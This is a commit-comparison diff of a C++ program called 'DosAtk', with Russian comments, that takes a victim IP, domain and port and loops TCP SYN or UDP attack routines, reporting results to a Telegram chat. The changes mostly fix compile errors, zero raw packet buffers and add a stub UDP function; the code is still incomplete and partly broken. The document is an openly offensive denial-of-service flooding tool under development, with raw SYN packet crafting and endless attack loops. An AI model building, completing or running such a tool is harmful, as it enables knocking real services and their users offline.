Compare commits
2 Commits
d2daab9650
...
7643bbb7d0
Author | SHA1 | Date |
---|---|---|
|
7643bbb7d0 | |
|
9f0f15c1e8 |
|
@ -16,6 +16,13 @@
|
||||||
#include <net/if.h> // Определение констант сетевых интерфейсов (IFNAMSIZ)
|
#include <net/if.h> // Определение констант сетевых интерфейсов (IFNAMSIZ)
|
||||||
#include <sys/ioctl.h> // Управление сокетами и интерфейсами (ioctl)
|
#include <sys/ioctl.h> // Управление сокетами и интерфейсами (ioctl)
|
||||||
#include <fcntl.h> // Флаги файловых дескрипторов (fcntl)
|
#include <fcntl.h> // Флаги файловых дескрипторов (fcntl)
|
||||||
|
#include <string> // Строки
|
||||||
|
#include <chrono> // Для работы с временем
|
||||||
|
#include <getopt.h> // Для struct option и getopt_long()
|
||||||
|
#include <curl/curl.h> // Основной заголовок libcurl
|
||||||
|
#include <iostream> // стандартный input output
|
||||||
|
#include <iomanip>
|
||||||
|
#include <nlohmann/json.hpp>
|
||||||
|
|
||||||
/*
|
/*
|
||||||
██████╗ ██████╗██╗ ██╗ ██╗ █████╗ ██████╗ ███████╗
|
██████╗ ██████╗██╗ ██╗ ██╗ █████╗ ██████╗ ███████╗
|
||||||
|
@ -26,8 +33,8 @@
|
||||||
╚═════╝ ╚═════╝╚══════╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════
|
╚═════╝ ╚═════╝╚══════╝ ╚═══╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════
|
||||||
*/
|
*/
|
||||||
|
|
||||||
int argc // Количество аргументов при вызове программы
|
int argc; // Количество аргументов при вызове программы
|
||||||
char **argv // Массив строк с агрументами
|
char **argv; // Массив строк с агрументами
|
||||||
std::string attack_type; // Тип атаки: scan или syn
|
std::string attack_type; // Тип атаки: scan или syn
|
||||||
std::string domain; // Доменное Имя
|
std::string domain; // Доменное Имя
|
||||||
std::string ip; // Ip жертвы
|
std::string ip; // Ip жертвы
|
||||||
|
@ -42,6 +49,7 @@ std::string log_msg; // Сообщение,
|
||||||
std::string fin_msg; // Сообщение, которое будет выведено в консоль пользователю
|
std::string fin_msg; // Сообщение, которое будет выведено в консоль пользователю
|
||||||
std::string msg; // Сообщение, которое будет отправлено в телеграм
|
std::string msg; // Сообщение, которое будет отправлено в телеграм
|
||||||
int status; // Статус работы программы
|
int status; // Статус работы программы
|
||||||
|
// int log_status;
|
||||||
|
|
||||||
/*
|
/*
|
||||||
██████╗ ██████╗██╗ ██████╗ ██████╗ ██████╗ ██████╗███████╗██████╗ ██╗ ██╗██████╗ ███████╗███████╗
|
██████╗ ██████╗██╗ ██████╗ ██████╗ ██████╗ ██████╗███████╗██████╗ ██╗ ██╗██████╗ ███████╗███████╗
|
||||||
|
@ -69,31 +77,30 @@ int my_check_params()
|
||||||
|
|
||||||
//Объявление
|
//Объявление
|
||||||
std::chrono::milliseconds ms; // Количество миллисекунд от целой секунды времени начала выполнения программы
|
std::chrono::milliseconds ms; // Количество миллисекунд от целой секунды времени начала выполнения программы
|
||||||
|
std::time_t now_time_t; // текущее время
|
||||||
int opt; // Прочитанный параметр
|
int opt; // Прочитанный параметр
|
||||||
const char* short_options; // Сокращения для параметров
|
const char* short_options; // Сокращения для параметров
|
||||||
struct option long_options[]; // Структура, описывающая пеобходимые программе параметры
|
struct option long_options[10]; // Структура, описывающая пеобходимые программе параметры
|
||||||
int i; // Счётчик для цикла
|
int i; // Счётчик для цикла
|
||||||
|
|
||||||
// Инициализация
|
// Инициализация
|
||||||
ms = std::chrono::duration_cast<std::chrono::milliseconds>(start_timestamp.time_since_epoch()) % 1000;
|
ms = std::chrono::duration_cast<std::chrono::milliseconds>(start_timestamp.time_since_epoch()) % 1000;
|
||||||
opt = -1;
|
opt = -1;
|
||||||
short_options = "a:d:i:p:l:t:b:h";
|
short_options = "a:d:i:p:l:t:b:h";
|
||||||
long_options =
|
long_options[0] = {"attack", required_argument, NULL, 'a'};
|
||||||
{
|
long_options[1] = {"domain", required_argument, NULL, 'd'};
|
||||||
{"attack", required_argument, NULL, 'a'},
|
long_options[2] = {"ip", required_argument, NULL, 'i'};
|
||||||
{"domain", required_argument, NULL, 'd'},
|
long_options[3] = {"port", required_argument, NULL, 'p'};
|
||||||
{"ip", required_argument, NULL, 'i'},
|
long_options[4] = {"log", required_argument, NULL, 'l'};
|
||||||
{"port", required_argument, NULL, 'p'},
|
long_options[5] = {"telegram", required_argument, NULL, 't'};
|
||||||
{"log", required_argument, NULL, 'l'},
|
long_options[6] = {"token", required_argument, NULL, 'b'};
|
||||||
{"telegram", required_argument, NULL, 't'},
|
long_options[7] = {"help", no_argument, NULL, 'h'};
|
||||||
{"token", required_argument, NULL, 'b'},
|
long_options[8] = {NULL, 0, NULL, 0};
|
||||||
{"help", no_argument, NULL, 'h'},
|
|
||||||
{NULL, 0, NULL, 0}
|
|
||||||
};
|
|
||||||
i = 0;
|
i = 0;
|
||||||
|
|
||||||
printf("begin my_check_params"); // debug
|
printf("begin my_check_params"); // debug
|
||||||
|
|
||||||
|
now_time_t = std::time(nullptr);
|
||||||
// Выводим информацию о времени запуска программы
|
// Выводим информацию о времени запуска программы
|
||||||
printf("Starting DosAtk at %04d-%02d-%02d %02d:%02d:%02d.%03ld\n", // Шаблон для вывода
|
printf("Starting DosAtk at %04d-%02d-%02d %02d:%02d:%02d.%03ld\n", // Шаблон для вывода
|
||||||
std::localtime(&now_time_t)->tm_year + 1900, // Год (с 1900)
|
std::localtime(&now_time_t)->tm_year + 1900, // Год (с 1900)
|
||||||
|
@ -163,6 +170,8 @@ int my_check_params()
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("end my_check_params status: %i\n", status); // debug
|
printf("end my_check_params status: %i\n", status); // debug
|
||||||
|
|
||||||
|
return -101;
|
||||||
}
|
}
|
||||||
|
|
||||||
void my_diag()
|
void my_diag()
|
||||||
|
@ -218,10 +227,10 @@ std::string escape_json(const std::string& s)
|
||||||
|
|
||||||
// ===== Инициализация =====
|
// ===== Инициализация =====
|
||||||
result = "";
|
result = "";
|
||||||
c = '';
|
c = '\0'; // пустой символ
|
||||||
|
|
||||||
// Проходим по каждому символу входной строки
|
// Проходим по каждому символу входной строки
|
||||||
for (c : s) {
|
for (char c : s) {
|
||||||
// Обрабатываем специальные символы JSON
|
// Обрабатываем специальные символы JSON
|
||||||
switch (c) {
|
switch (c) {
|
||||||
case '"': result += "\\\""; break; // Экранирование двойных кавычек
|
case '"': result += "\\\""; break; // Экранирование двойных кавычек
|
||||||
|
@ -289,7 +298,7 @@ void my_msg()
|
||||||
chat_id_field = is_numeric(telegram_id) ? "\"chat_id\": " + telegram_id : "\"chat_id\": \"" + telegram_id + "\"";
|
chat_id_field = is_numeric(telegram_id) ? "\"chat_id\": " + telegram_id : "\"chat_id\": \"" + telegram_id + "\"";
|
||||||
json_data = "{" + chat_id_field + ", \"text\": \"" + escaped_msg + "\"}"; // Сборка JSON-запроса
|
json_data = "{" + chat_id_field + ", \"text\": \"" + escaped_msg + "\"}"; // Сборка JSON-запроса
|
||||||
http_code = 0;
|
http_code = 0;
|
||||||
res = nullptr;
|
res = CURLE_OK;
|
||||||
|
|
||||||
// Проверка наличия обязательных параметров Telegram
|
// Проверка наличия обязательных параметров Telegram
|
||||||
if (telegram_token.empty() || telegram_id.empty())
|
if (telegram_token.empty() || telegram_id.empty())
|
||||||
|
@ -365,7 +374,7 @@ void my_fin()
|
||||||
|
|
||||||
// Объявления
|
// Объявления
|
||||||
time_t end_time_t; // Время завершения выполненя программы
|
time_t end_time_t; // Время завершения выполненя программы
|
||||||
std::chrono::duration duration; // Длительность выполнения программы
|
std::chrono::milliseconds duration; // Длительность выполнения программы
|
||||||
std::chrono::hours hours; // Компонента часов времени завершения
|
std::chrono::hours hours; // Компонента часов времени завершения
|
||||||
std::chrono::minutes minutes; // Компонента минут времени завершения
|
std::chrono::minutes minutes; // Компонента минут времени завершения
|
||||||
std::chrono::seconds seconds; // Компонента секунд времени завершения
|
std::chrono::seconds seconds; // Компонента секунд времени завершения
|
||||||
|
@ -373,12 +382,12 @@ void my_fin()
|
||||||
|
|
||||||
// Иницаализация
|
// Иницаализация
|
||||||
end_time_t = std::chrono::system_clock::to_time_t(std::chrono::system_clock::now());
|
end_time_t = std::chrono::system_clock::to_time_t(std::chrono::system_clock::now());
|
||||||
duration = end_timestamp - start_timestamp; // Вычисляем продолжительность работы программы
|
duration = std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::system_clock::now() - start_timestamp); // Вычисляем продолжительность работы программы
|
||||||
hours = std::chrono::duration_cast<std::chrono::hours>(duration); // Разбиваем продолжительность на компоненты
|
hours = std::chrono::duration_cast<std::chrono::hours>(duration); // Разбиваем продолжительность на компоненты
|
||||||
minutes = std::chrono::duration_cast<std::chrono::minutes>(duration % std::chrono::hours(1)); // Разбиваем продолжительность на компоненты
|
minutes = std::chrono::duration_cast<std::chrono::minutes>(duration % std::chrono::hours(1)); // Разбиваем продолжительность на компоненты
|
||||||
seconds = std::chrono::duration_cast<std::chrono::seconds>(duration % std::chrono::minutes(1)); // Разбиваем продолжительность на компоненты
|
seconds = std::chrono::duration_cast<std::chrono::seconds>(duration % std::chrono::minutes(1)); // Разбиваем продолжительность на компоненты
|
||||||
milliseconds = std::chrono::duration_cast<std::chrono::milliseconds>(duration % std::chrono::seconds(1)); // Разбиваем продолжительность на компоненты
|
milliseconds = std::chrono::duration_cast<std::chrono::milliseconds>(duration % std::chrono::seconds(1)); // Разбиваем продолжительность на компоненты
|
||||||
double total_seconds
|
double total_seconds;
|
||||||
|
|
||||||
printf("begin my_diag\n"); // debug
|
printf("begin my_diag\n"); // debug
|
||||||
|
|
||||||
|
@ -416,13 +425,6 @@ void my_fin()
|
||||||
std::exit(status);
|
std::exit(status);
|
||||||
}
|
}
|
||||||
|
|
||||||
int my_dns()
|
|
||||||
{
|
|
||||||
// Данная процедура сопостовляет доменное имя с IP
|
|
||||||
printf("start my_dns"); // debug
|
|
||||||
printf("end my_dns"); // debug
|
|
||||||
}
|
|
||||||
|
|
||||||
int my_tcp_syn() {
|
int my_tcp_syn() {
|
||||||
/*
|
/*
|
||||||
* Отправляет TCP SYN запрос на указанный IP и порт
|
* Отправляет TCP SYN запрос на указанный IP и порт
|
||||||
|
@ -465,13 +467,13 @@ int my_tcp_syn() {
|
||||||
// === Инициализация переменных ===
|
// === Инициализация переменных ===
|
||||||
sock = -1;
|
sock = -1;
|
||||||
one = 1;
|
one = 1;
|
||||||
target_addr = nullptr;
|
memset(&target_addr, 0, sizeof(target_addr));
|
||||||
target_port = htons(atoi(port.c_str()));
|
target_port = htons(atoi(port.c_str()));
|
||||||
ip_header = nullptr;
|
memset(&ip_header, 0, sizeof(ip_header));
|
||||||
tcp_header = nullptr;
|
memset(&tcp_header, 0, sizeof(tcp_header));
|
||||||
pseudo_header = nullptr;
|
memset(&pseudo_header, 0, sizeof(pseudo_header));
|
||||||
temp_buf = nullptr;
|
memset(temp_buf, 0, sizeof(temp_buf));
|
||||||
packet = nullptr;
|
memset(packet, 0, sizeof(packet));
|
||||||
checksum_ptr = 0;
|
checksum_ptr = 0;
|
||||||
checksum_sum = 0;
|
checksum_sum = 0;
|
||||||
checksum_len = 0;
|
checksum_len = 0;
|
||||||
|
@ -564,6 +566,17 @@ int my_tcp_syn() {
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
int my_udp() {
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Callback для записи ответа от сервера
|
||||||
|
size_t WriteCallback(void* contents, size_t size, size_t nmemb, std::string* output) {
|
||||||
|
size_t total_size = size * nmemb;
|
||||||
|
output->append((char*)contents, total_size);
|
||||||
|
return total_size;
|
||||||
|
}
|
||||||
|
|
||||||
int my_dns()
|
int my_dns()
|
||||||
{
|
{
|
||||||
// Данная процедура сопостовляет доменное имя с IP
|
// Данная процедура сопостовляет доменное имя с IP
|
||||||
|
@ -644,13 +657,6 @@ int my_dns()
|
||||||
return status;
|
return status;
|
||||||
}
|
}
|
||||||
|
|
||||||
// Callback для записи ответа от сервера
|
|
||||||
size_t WriteCallback(void* contents, size_t size, size_t nmemb, std::string* output) {
|
|
||||||
size_t total_size = size * nmemb;
|
|
||||||
output->append((char*)contents, total_size);
|
|
||||||
return total_size;
|
|
||||||
}
|
|
||||||
|
|
||||||
/*
|
/*
|
||||||
█████ █████ ██ ███ █████ ████ ███ █████ ████ ███ █ █ █ █ █ █
|
█████ █████ ██ ███ █████ ████ ███ █████ ████ ███ █ █ █ █ █ █
|
||||||
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ██ ██ ██ ██ █ █
|
█ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ █ ██ ██ ██ ██ █ █
|
||||||
|
@ -690,7 +696,7 @@ int main(int arg_ctr, char **arg_ptr)
|
||||||
{
|
{
|
||||||
while (true) // Запускаем цикл UDP-атаки
|
while (true) // Запускаем цикл UDP-атаки
|
||||||
{
|
{
|
||||||
status = my_udp()
|
status = my_udp();
|
||||||
if (status == 2) // Код завершения атаки
|
if (status == 2) // Код завершения атаки
|
||||||
{
|
{
|
||||||
break;
|
break;
|
||||||
|
@ -719,7 +725,7 @@ int main(int arg_ctr, char **arg_ptr)
|
||||||
{
|
{
|
||||||
my_fin(); // Просто завершаем программу
|
my_fin(); // Просто завершаем программу
|
||||||
}
|
}
|
||||||
else if (log_status == 1) // Если лог не удалось записать
|
else if (status == 1) // Если лог не удалось записать
|
||||||
{
|
{
|
||||||
my_msg(); // Отправляем сообщение
|
my_msg(); // Отправляем сообщение
|
||||||
my_fin(); // Завершаем программу
|
my_fin(); // Завершаем программу
|
||||||
|
@ -735,7 +741,7 @@ int main(int arg_ctr, char **arg_ptr)
|
||||||
// Запускаем цикл UDP-атаки
|
// Запускаем цикл UDP-атаки
|
||||||
while (true)
|
while (true)
|
||||||
{
|
{
|
||||||
status = my_tcp_syn()
|
status = my_tcp_syn();
|
||||||
if (status == 2) // Код завершения атаки
|
if (status == 2) // Код завершения атаки
|
||||||
{
|
{
|
||||||
break;
|
break;
|
||||||
|
@ -764,7 +770,7 @@ int main(int arg_ctr, char **arg_ptr)
|
||||||
{
|
{
|
||||||
my_fin(); // Просто завершаем программу
|
my_fin(); // Просто завершаем программу
|
||||||
}
|
}
|
||||||
else if (log_status == 1) // Если лог не удалось записать
|
else if (status == 1) // Если лог не удалось записать
|
||||||
{
|
{
|
||||||
my_msg(); // Отправляем сообщение
|
my_msg(); // Отправляем сообщение
|
||||||
my_fin(); // Завершаем программу
|
my_fin(); // Завершаем программу
|
||||||
|
|
Loading…
Reference in New Issue